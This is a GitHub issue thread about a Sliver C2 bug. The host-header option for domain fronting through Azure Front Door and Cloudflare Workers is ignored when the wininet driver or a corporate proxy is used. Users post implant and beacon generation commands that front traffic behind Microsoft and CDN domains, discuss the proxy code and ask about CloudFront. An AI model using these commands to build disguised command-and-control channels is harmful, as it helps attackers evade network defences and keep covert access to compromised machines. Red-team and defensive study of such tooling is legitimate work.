changing host header does not work

[MaorSabag]

Describe the bug
I have a frontdoor setup on azure for domain fronting (for example: frontdoor.azureedge.net), when generating an http/s payload and setting the host-header to the azure domain, it does not set it up when the payload is executed.

To Reproduce
Steps to reproduce the behavior:

1. Generate http/s payload:
   generate --http ajax.microsoft.com/api?driver=wininet&host-header=frontdoor.azureedge.net --skip-symbols
2. Execute the payload (windows platform)
3. View the https traffic using proxy tool
4. the host header is not set 🥲

Expected behavior
the host header should be: frontdoor.azureedge.net with the domain of ajax.microsoft.com.

Screenshots
The request sent from the payload:

Working request to the azure frontdoor by setting the host header manually:

Desktop (please complete the following information):

• OS: Payload running on Windows, sliver client and server are on Ubuntu.
• Version v1.5.42

Additional context
Even tried to change the code manually (eventhough I'm so sure about), set the req.Host = "frontdoor.azureedge.net".
But it had not effect on the request.

[navaneeth-dev]

Just tried to replicate it, everything is working fine, maybe try generating with -d and post the logs of the client?

[MaorSabag]

Screenshot with -d options:

[navaneeth-dev]

Oh I did not use wininet driver, can you try without that?

[MaorSabag]

Got a few insights 😅
Without the driver parameter set but with a proxy set on the Windows host, got the same results:

Without the driver parameter set and without the proxy set on the Windows host, got a successful result:

Seems like a bug. I'm dealing with an organization proxy, thus the proxy options should be included if I want to use my frontdoor.

[navaneeth-dev]

Yes seems like a bug, I don't have the time right now but maybe others can look into it.

sliver/implant/sliver/proxy/provider_windows.go

Line 287 in 3051de7

winhttp.WINHTTP_ACCESS_TYPE_NO_PROXY,

I don't see any references to WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY which should detect the proxy automatically.
But I am not too sure.

[markuta]

I had a very similar problem, but with Cloudflare instead of Azure. I solved it by removing the driver=wininet parameter when generating a beacon e.g.

generate beacon --http http://cdnjs.com?host-header=XXXXXXXX.worker.dev  --seconds 5 --jitter 4 --save /tmp/beacon_http2.exe

[heyquentin]

I had a very similar problem, but with Cloudflare instead of Azure. I solved it by removing the driver=wininet parameter when generating a beacon e.g.

generate beacon --http http://cdnjs.com?host-header=XXXXXXXX.worker.dev  --seconds 5 --jitter 4 --save /tmp/beacon_http2.exe

Do you have any ideas on how I'd do this using CloudFront?

[MaorSabag]

Hey, is there any update on this maybe?